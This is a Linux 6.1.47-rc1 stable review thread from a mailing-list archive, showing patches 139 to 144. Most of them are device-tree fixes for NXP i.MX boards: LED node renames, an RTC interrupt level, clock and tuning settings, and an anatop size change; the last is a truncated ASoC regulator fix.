6.1.47-rc1 review
Subsystems (2)
Greg Kroah-Hartman
maintainerPATCH 139/194 ARM: dts: imx: align LED node names with dtschema
In reply to Greg Kroah-HartmanFrom: Krzysztof Kozlowski <[email protected]>
[ Upstream commit 4b0d1f2738899dbcc7a026d826373530019aa31b ]
The node names should be generic and DT schema expects certain pattern:
imx50-kobo-aura.dtb: gpio-leds: 'on' does not match any of the regexes: '(^led-[0-9a-f]$|led)', 'pinctrl-[0-9]+' imx6dl-yapp4-draco.dtb: led-controller@30: 'chan@0', 'chan@1', 'chan@2' do not match any of the regexes: '^led@[0-8]$', '^multi-led@[0-8]$', 'pinctrl-[0-9]+'
Stable-dep-of: 762b700982a1 ("ARM: dts: imx6: phytec: fix RTC interrupt level")
--- arch/arm/boot/dts/imx50-kobo-aura.dts | 2 +- arch/arm/boot/dts/imx53-cx9020.dts | 10 +++++----- arch/arm/boot/dts/imx53-m53evk.dts | 4 ++-- arch/arm/boot/dts/imx53-m53menlo.dts | 6 +++--- arch/arm/boot/dts/imx53-tx53.dtsi | 2 +- arch/arm/boot/dts/imx53-usbarmory.dts | 2 +- arch/arm/boot/dts/imx6dl-b1x5pv2.dtsi | 6 +++--- arch/arm/boot/dts/imx6dl-riotboard.dts | 4 ++-- arch/arm/boot/dts/imx6dl-yapp4-common.dtsi | 6 +++--- arch/arm/boot/dts/imx6q-gw5400-a.dts | 6 +++--- arch/arm/boot/dts/imx6q-h100.dts | 6 +++--- arch/arm/boot/dts/imx6q-kp.dtsi | 4 ++-- arch/arm/boot/dts/imx6q-marsboard.dts | 4 ++-- arch/arm/boot/dts/imx6q-tbs2910.dts | 2 +- arch/arm/boot/dts/imx6qdl-emcon.dtsi | 4 ++-- arch/arm/boot/dts/imx6qdl-gw51xx.dtsi | 4 ++-- arch/arm/boot/dts/imx6qdl-gw52xx.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-gw53xx.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-gw54xx.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-gw551x.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-gw552x.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-gw553x.dtsi | 4 ++-- arch/arm/boot/dts/imx6qdl-gw560x.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-gw5903.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-gw5904.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-gw5907.dtsi | 4 ++-- arch/arm/boot/dts/imx6qdl-gw5910.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-gw5912.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-gw5913.dtsi | 4 ++-- arch/arm/boot/dts/imx6qdl-nit6xlite.dtsi | 10 +++++----- arch/arm/boot/dts/imx6qdl-nitrogen6_max.dtsi | 4 ++-- arch/arm/boot/dts/imx6qdl-phytec-mira.dtsi | 6 +++--- arch/arm/boot/dts/imx6qdl-phytec-pfla02.dtsi | 4 ++-- arch/arm/boot/dts/imx6qdl-rex.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-sabreauto.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-sabresd.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-ts7970.dtsi | 4 ++-- arch/arm/boot/dts/imx6qdl-tx6.dtsi | 2 +- arch/arm/boot/dts/imx6sl-evk.dts | 2 +- arch/arm/boot/dts/imx6sll-evk.dts | 2 +- arch/arm/boot/dts/imx6sx-sabreauto.dts | 2 +- arch/arm/boot/dts/imx6sx-udoo-neo.dtsi | 4 ++-- arch/arm/boot/dts/imx6ul-phytec-phycore-som.dtsi | 2 +- arch/arm/boot/dts/imx6ul-tx6ul.dtsi | 2 +- 44 files changed, 93 insertions(+), 93 deletions(-)
arch/arm/boot/dts/imx50-kobo-aura.dts +1 -1
@@ -26,7 +26,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_leds>; - on { + led-on { label = "kobo_aura:orange:on"; gpios = <&gpio6 24 GPIO_ACTIVE_LOW>; panic-indicator;
arch/arm/boot/dts/imx53-cx9020.dts +5 -5
@@ -86,27 +86,27 @@ leds { compatible = "gpio-leds"; - pwr-r { + led-pwr-r { gpios = <&gpio3 22 GPIO_ACTIVE_HIGH>; default-state = "off"; }; - pwr-g { + led-pwr-g { gpios = <&gpio3 24 GPIO_ACTIVE_HIGH>; default-state = "on"; }; - pwr-b { + led-pwr-b { gpios = <&gpio3 23 GPIO_ACTIVE_HIGH>; default-state = "off"; }; - sd1-b { + led-sd1-b { linux,default-trigger = "mmc0"; gpios = <&gpio3 20 GPIO_ACTIVE_HIGH>; }; - sd2-b { + led-sd2-b { linux,default-trigger = "mmc1"; gpios = <&gpio3 17 GPIO_ACTIVE_HIGH>; };
arch/arm/boot/dts/imx53-m53evk.dts +2 -2
@@ -52,13 +52,13 @@ pinctrl-names = "default"; pinctrl-0 = <&led_pin_gpio>; - user1 { + led-user1 { label = "user1"; gpios = <&gpio2 8 0>; linux,default-trigger = "heartbeat"; }; - user2 { + led-user2 { label = "user2"; gpios = <&gpio2 9 0>; linux,default-trigger = "heartbeat";
arch/arm/boot/dts/imx53-m53menlo.dts +3 -3
@@ -34,19 +34,19 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>; - user1 { + led-user1 { label = "TestLed601"; gpios = <&gpio6 1 GPIO_ACTIVE_HIGH>; linux,default-trigger = "mmc0"; }; - user2 { + led-user2 { label = "TestLed602"; gpios = <&gpio6 2 GPIO_ACTIVE_HIGH>; linux,default-trigger = "heartbeat"; }; - eth { + led-eth { label = "EthLedYe"; gpios = <&gpio2 11 GPIO_ACTIVE_LOW>; linux,default-trigger = "netdev";
arch/arm/boot/dts/imx53-tx53.dtsi +1 -1
@@ -94,7 +94,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_stk5led>; - user { + led-user { label = "Heartbeat"; gpios = <&gpio2 20 GPIO_ACTIVE_HIGH>; linux,default-trigger = "heartbeat";
arch/arm/boot/dts/imx53-usbarmory.dts +1 -1
@@ -67,7 +67,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>; - user { + led-user { label = "LED"; gpios = <&gpio4 27 GPIO_ACTIVE_LOW>; linux,default-trigger = "heartbeat";
arch/arm/boot/dts/imx6dl-b1x5pv2.dtsi +3 -3
@@ -211,17 +211,17 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_q7_gpio1 &pinctrl_q7_gpio3 &pinctrl_q7_gpio5>; - alarm1 { + led-alarm1 { label = "alarm:red"; gpios = <&gpio1 8 GPIO_ACTIVE_HIGH>; }; - alarm2 { + led-alarm2 { label = "alarm:yellow"; gpios = <&gpio4 27 GPIO_ACTIVE_HIGH>; }; - alarm3 { + led-alarm3 { label = "alarm:blue"; gpios = <&gpio4 15 GPIO_ACTIVE_HIGH>; };
arch/arm/boot/dts/imx6dl-riotboard.dts +2 -2
@@ -25,14 +25,14 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio5 2 GPIO_ACTIVE_LOW>; default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio3 28 GPIO_ACTIVE_LOW>; default-state = "off";
arch/arm/boot/dts/imx6dl-yapp4-common.dtsi +3 -3
@@ -274,7 +274,7 @@ #address-cells = <1>; #size-cells = <0>; - chan@0 { + led@0 { chan-name = "R"; led-cur = /bits/ 8 <0x20>; max-cur = /bits/ 8 <0x60>;
@@ -282,7 +282,7 @@ color = <LED_COLOR_ID_RED>; }; - chan@1 { + led@1 { chan-name = "G"; led-cur = /bits/ 8 <0x20>; max-cur = /bits/ 8 <0x60>;
@@ -290,7 +290,7 @@ color = <LED_COLOR_ID_GREEN>; }; - chan@2 { + led@2 { chan-name = "B"; led-cur = /bits/ 8 <0x20>; max-cur = /bits/ 8 <0x60>;
arch/arm/boot/dts/imx6q-gw5400-a.dts +3 -3
@@ -34,20 +34,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* 102 -> MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 10 GPIO_ACTIVE_HIGH>; /* 106 -> MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* 111 -> MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6q-h100.dts +3 -3
@@ -76,19 +76,19 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_h100_leds>; - led0: power { + led0: led-power { label = "power"; gpios = <&gpio3 0 GPIO_ACTIVE_LOW>; default-state = "on"; }; - led1: stream { + led1: led-stream { label = "stream"; gpios = <&gpio2 29 GPIO_ACTIVE_LOW>; default-state = "off"; }; - led2: rec { + led2: led-rec { label = "rec"; gpios = <&gpio2 28 GPIO_ACTIVE_LOW>; default-state = "off";
arch/arm/boot/dts/imx6q-kp.dtsi +2 -2
@@ -66,14 +66,14 @@ leds { compatible = "gpio-leds"; - green { + led-green { label = "led1"; gpios = <&gpio3 16 GPIO_ACTIVE_HIGH>; linux,default-trigger = "gpio"; default-state = "off"; }; - red { + led-red { label = "led0"; gpios = <&gpio3 23 GPIO_ACTIVE_HIGH>; linux,default-trigger = "gpio";
arch/arm/boot/dts/imx6q-marsboard.dts +2 -2
@@ -73,14 +73,14 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>; - user1 { + led-user1 { label = "imx6:green:user1"; gpios = <&gpio5 2 GPIO_ACTIVE_LOW>; default-state = "off"; linux,default-trigger = "heartbeat"; }; - user2 { + led-user2 { label = "imx6:green:user2"; gpios = <&gpio3 28 GPIO_ACTIVE_LOW>; default-state = "off";
arch/arm/boot/dts/imx6q-tbs2910.dts +1 -1
@@ -49,7 +49,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - blue { + led-blue { label = "blue_status_led"; gpios = <&gpio1 2 GPIO_ACTIVE_HIGH>; default-state = "keep";
arch/arm/boot/dts/imx6qdl-emcon.dtsi +2 -2
@@ -46,14 +46,14 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_som_leds>; - green { + led-green { label = "som:green"; gpios = <&gpio3 0 GPIO_ACTIVE_HIGH>; linux,default-trigger = "heartbeat"; default-state = "on"; }; - red { + led-red { label = "som:red"; gpios = <&gpio3 1 GPIO_ACTIVE_LOW>; default-state = "keep";
arch/arm/boot/dts/imx6qdl-gw51xx.dtsi +2 -2
@@ -71,14 +71,14 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw52xx.dtsi +3 -3
@@ -80,20 +80,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw53xx.dtsi +3 -3
@@ -80,20 +80,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw54xx.dtsi +3 -3
@@ -81,20 +81,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw551x.dtsi +1 -1
@@ -115,7 +115,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 7 GPIO_ACTIVE_LOW>; default-state = "on";
arch/arm/boot/dts/imx6qdl-gw552x.dtsi +3 -3
@@ -72,20 +72,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw553x.dtsi +2 -2
@@ -113,14 +113,14 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 10 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 11 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw560x.dtsi +3 -3
@@ -139,20 +139,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw5903.dtsi +1 -1
@@ -123,7 +123,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio6 14 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw5904.dtsi +3 -3
@@ -120,20 +120,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw5907.dtsi +2 -2
@@ -71,14 +71,14 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw5910.dtsi +3 -3
@@ -74,20 +74,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw5912.dtsi +3 -3
@@ -72,20 +72,20 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off"; }; - led2: user3 { + led2: led-user3 { label = "user3"; gpios = <&gpio4 15 GPIO_ACTIVE_LOW>; /* MX6_LOCLED# */ default-state = "off";
arch/arm/boot/dts/imx6qdl-gw5913.dtsi +2 -2
@@ -71,14 +71,14 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - led0: user1 { + led0: led-user1 { label = "user1"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDG */ default-state = "on"; linux,default-trigger = "heartbeat"; }; - led1: user2 { + led1: led-user2 { label = "user2"; gpios = <&gpio4 7 GPIO_ACTIVE_HIGH>; /* MX6_PANLEDR */ default-state = "off";
arch/arm/boot/dts/imx6qdl-nit6xlite.dtsi +5 -5
@@ -85,31 +85,31 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_leds>; - j14-pin1 { + led-j14-pin1 { gpios = <&gpio1 2 GPIO_ACTIVE_LOW>; retain-state-suspended; default-state = "off"; }; - j14-pin3 { + led-j14-pin3 { gpios = <&gpio1 3 GPIO_ACTIVE_LOW>; retain-state-suspended; default-state = "off"; }; - j14-pins8-9 { + led-j14-pins8-9 { gpios = <&gpio3 29 GPIO_ACTIVE_LOW>; retain-state-suspended; default-state = "off"; }; - j46-pin2 { + led-j46-pin2 { gpios = <&gpio1 7 GPIO_ACTIVE_LOW>; retain-state-suspended; default-state = "off"; }; - j46-pin3 { + led-j46-pin3 { gpios = <&gpio1 8 GPIO_ACTIVE_LOW>; retain-state-suspended; default-state = "off";
arch/arm/boot/dts/imx6qdl-nitrogen6_max.dtsi +2 -2
@@ -181,13 +181,13 @@ leds { compatible = "gpio-leds"; - speaker-enable { + led-speaker-enable { gpios = <&gpio1 29 GPIO_ACTIVE_HIGH>; retain-state-suspended; default-state = "off"; }; - ttymxc4-rs232 { + led-ttymxc4-rs232 { gpios = <&gpio6 10 GPIO_ACTIVE_HIGH>; retain-state-suspended; default-state = "on";
arch/arm/boot/dts/imx6qdl-phytec-mira.dtsi +3 -3
@@ -25,17 +25,17 @@ pinctrl-0 = <&pinctrl_gpioleds>; status = "disabled"; - red { + led-red { label = "phyboard-mira:red"; gpios = <&gpio5 22 GPIO_ACTIVE_HIGH>; }; - green { + led-green { label = "phyboard-mira:green"; gpios = <&gpio5 23 GPIO_ACTIVE_HIGH>; }; - blue { + led-blue { label = "phyboard-mira:blue"; gpios = <&gpio5 24 GPIO_ACTIVE_HIGH>; linux,default-trigger = "mmc0";
arch/arm/boot/dts/imx6qdl-phytec-pfla02.dtsi +2 -2
@@ -47,12 +47,12 @@ pinctrl-0 = <&pinctrl_leds>; compatible = "gpio-leds"; - led_green: green { + led_green: led-green { label = "phyflex:green"; gpios = <&gpio1 30 0>; }; - led_red: red { + led_red: led-red { label = "phyflex:red"; gpios = <&gpio2 31 0>; };
arch/arm/boot/dts/imx6qdl-rex.dtsi +1 -1
@@ -55,7 +55,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>; - led0: usr { + led0: led-usr { label = "usr"; gpios = <&gpio1 2 GPIO_ACTIVE_LOW>; default-state = "off";
arch/arm/boot/dts/imx6qdl-sabreauto.dtsi +1 -1
@@ -21,7 +21,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - user { + led-user { label = "debug"; gpios = <&gpio5 15 GPIO_ACTIVE_HIGH>; };
arch/arm/boot/dts/imx6qdl-sabresd.dtsi +1 -1
@@ -130,7 +130,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_gpio_leds>; - red { + led-red { gpios = <&gpio1 2 0>; default-state = "on"; };
arch/arm/boot/dts/imx6qdl-ts7970.dtsi +2 -2
@@ -73,13 +73,13 @@ default-state = "off"; }; - en-usb-5v { + en-usb-5v-led { label = "en-usb-5v"; gpios = <&gpio2 22 GPIO_ACTIVE_HIGH>; default-state = "on"; }; - sel_dc_usb { + sel-dc-usb-led { label = "sel_dc_usb"; gpios = <&gpio5 17 GPIO_ACTIVE_HIGH>; default-state = "off";
arch/arm/boot/dts/imx6qdl-tx6.dtsi +1 -1
@@ -92,7 +92,7 @@ leds { compatible = "gpio-leds"; - user_led: user { + user_led: led-user { label = "Heartbeat"; pinctrl-names = "default"; pinctrl-0 = <&pinctrl_user_led>;
arch/arm/boot/dts/imx6sl-evk.dts +1 -1
@@ -33,7 +33,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>; - user { + led-user { label = "debug"; gpios = <&gpio3 20 GPIO_ACTIVE_HIGH>; linux,default-trigger = "heartbeat";
arch/arm/boot/dts/imx6sll-evk.dts +1 -1
@@ -37,7 +37,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>; - user { + led-user { label = "debug"; gpios = <&gpio2 4 GPIO_ACTIVE_HIGH>; linux,default-trigger = "heartbeat";
arch/arm/boot/dts/imx6sx-sabreauto.dts +1 -1
@@ -20,7 +20,7 @@ pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>; - user { + led-user { label = "debug"; gpios = <&gpio1 24 GPIO_ACTIVE_HIGH>; linux,default-trigger = "heartbeat";
arch/arm/boot/dts/imx6sx-udoo-neo.dtsi +2 -2
@@ -15,14 +15,14 @@ leds { compatible = "gpio-leds"; - red { + led-red { label = "udoo-neo:red:mmc"; gpios = <&gpio6 0 GPIO_ACTIVE_HIGH>; default-state = "off"; linux,default-trigger = "mmc0"; }; - orange { + led-orange { label = "udoo-neo:orange:user"; gpios = <&gpio4 6 GPIO_ACTIVE_HIGH>; default-state = "keep";
arch/arm/boot/dts/imx6ul-phytec-phycore-som.dtsi +1 -1
@@ -30,7 +30,7 @@ pinctrl-0 = <&pinctrl_gpioleds_som>; compatible = "gpio-leds"; - phycore-green { + led-phycore-green { gpios = <&gpio5 4 GPIO_ACTIVE_HIGH>; linux,default-trigger = "heartbeat"; };
arch/arm/boot/dts/imx6ul-tx6ul.dtsi +1 -1
@@ -131,7 +131,7 @@ leds { compatible = "gpio-leds"; - user_led: user { + user_led: led-user { label = "Heartbeat"; pinctrl-names = "default"; pinctrl-0 = <&pinctrl_led>;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 140/194 ARM: dts: imx6: phytec: fix RTC interrupt level
In reply to Greg Kroah-HartmanFrom: Andrej Picej <[email protected]>
[ Upstream commit 762b700982a1e0f562184363f19860c3b9bdd0bf ]
RTC interrupt level should be set to "LOW". This was revealed by the introduction of commit:
f181987ef477 ("rtc: m41t80: use IRQ flags obtained from fwnode")
which changed the way IRQ type is obtained.
--- arch/arm/boot/dts/imx6qdl-phytec-mira.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm/boot/dts/imx6qdl-phytec-mira.dtsi +1 -1
@@ -182,7 +182,7 @@ pinctrl-0 = <&pinctrl_rtc_int>; reg = <0x68>; interrupt-parent = <&gpio7>; - interrupts = <8 IRQ_TYPE_LEVEL_HIGH>; + interrupts = <8 IRQ_TYPE_LEVEL_LOW>; status = "disabled"; }; };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 141/194 arm64: dts: imx8mm: Drop CSI1 PHY reference clock configuration
In reply to Greg Kroah-HartmanFrom: Fabio Estevam <[email protected]>
[ Upstream commit f02b53375e8f14b4c27a14f6e4fb6e89914fdc29 ]
The CSI1 PHY reference clock is limited to 125 MHz according to:
i.MX 8M Mini Applications Processor Reference Manual, Rev. 3, 11/2020 Table 5-1. Clock Root Table (continued) / page 307
Slice Index n = 123 .
Currently the IMX8MM_CLK_CSI1_PHY_REF clock is configured to be fed directly from 1 GHz PLL2 , which overclocks them. Instead, drop the configuration altogether, which defaults the clock to 24 MHz REF clock input, which for the PHY reference clock is just fine.
Based on a patch from Marek Vasut for the imx8mn.
--- arch/arm64/boot/dts/freescale/imx8mm.dtsi | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-)
arch/arm64/boot/dts/freescale/imx8mm.dtsi +3 -4
@@ -1145,10 +1145,9 @@ compatible = "fsl,imx8mm-mipi-csi2"; reg = <0x32e30000 0x1000>; interrupts = <GIC_SPI 17 IRQ_TYPE_LEVEL_HIGH>; - assigned-clocks = <&clk IMX8MM_CLK_CSI1_CORE>, - <&clk IMX8MM_CLK_CSI1_PHY_REF>; - assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_1000M>, - <&clk IMX8MM_SYS_PLL2_1000M>; + assigned-clocks = <&clk IMX8MM_CLK_CSI1_CORE>; + assigned-clock-parents = <&clk IMX8MM_SYS_PLL2_1000M>; + clock-frequency = <333000000>; clocks = <&clk IMX8MM_CLK_DISP_APB_ROOT>, <&clk IMX8MM_CLK_CSI1_ROOT>,
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 142/194 ARM: dts: imx: Set default tuning step for imx6sx usdhc
In reply to Greg Kroah-HartmanFrom: Xiaolei Wang <[email protected]>
[ Upstream commit 0a2b96e42a0284c4fc03022236f656a085ca714a ]
If the tuning step is not set, the tuning step is set to 1. For some sd cards, the following Tuning timeout will occur.
Tuning failed, falling back to fixed sampling clock
So set the default tuning step. This refers to the NXP vendor's commit below:
https://github.com/nxp-imx/linux-imx/blob/lf-6.1.y/
arch/arm/boot/dts/imx6sx.dtsi#L1108-L1109
--- arch/arm/boot/dts/imx6sx.dtsi | 6 ++++++ 1 file changed, 6 insertions(+)
arch/arm/boot/dts/imx6sx.dtsi +6 -0
@@ -981,6 +981,8 @@ <&clks IMX6SX_CLK_USDHC1>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-start-tap = <20>; + fsl,tuning-step= <2>; status = "disabled"; };
@@ -993,6 +995,8 @@ <&clks IMX6SX_CLK_USDHC2>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-start-tap = <20>; + fsl,tuning-step= <2>; status = "disabled"; };
@@ -1005,6 +1009,8 @@ <&clks IMX6SX_CLK_USDHC3>; clock-names = "ipg", "ahb", "per"; bus-width = <4>; + fsl,tuning-start-tap = <20>; + fsl,tuning-step= <2>; status = "disabled"; };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 143/194 arm64: dts: imx93: Fix anatop node size
In reply to Greg Kroah-HartmanFrom: Alexander Stein <[email protected]>
[ Upstream commit 78e869dd8b2ba19765ac9b05cdea3e432d1dc188 ]
Although the memory map of i.MX93 reference manual rev. 2 claims that analog top has start address of 0x44480000 and end address of 0x4448ffff, this overlaps with TMU memory area starting at 0x44482000, as stated in section 73.6.1.
As PLL configuration registers start at addresses up to 0x44481400, as used by clk-imx93, reduce the anatop size to 0x2000, so exclude the TMU area but keep all PLL registers inside.
--- arch/arm64/boot/dts/freescale/imx93.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm64/boot/dts/freescale/imx93.dtsi +1 -1
@@ -254,7 +254,7 @@ anatop: anatop@44480000 { compatible = "fsl,imx93-anatop", "syscon"; - reg = <0x44480000 0x10000>; + reg = <0x44480000 0x2000>; }; };
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 144/194 ASoC: rt5665: add missed regulator_bulk_disable
In reply to Greg Kroah-HartmanFrom: Zhang Shurong <[email protected]>
[ Upstream commit c163108e706909570f8aa9aa5bcf6806e2b4c98c ]
The driver forgets to call regulator_bulk_disable()
Add the missed call to fix it.
--- sound/soc/codecs/rt5665.c | 2 ++ 1 file changed, 2 insertions(+)
sound/soc/codecs/rt5665.c +2 -0
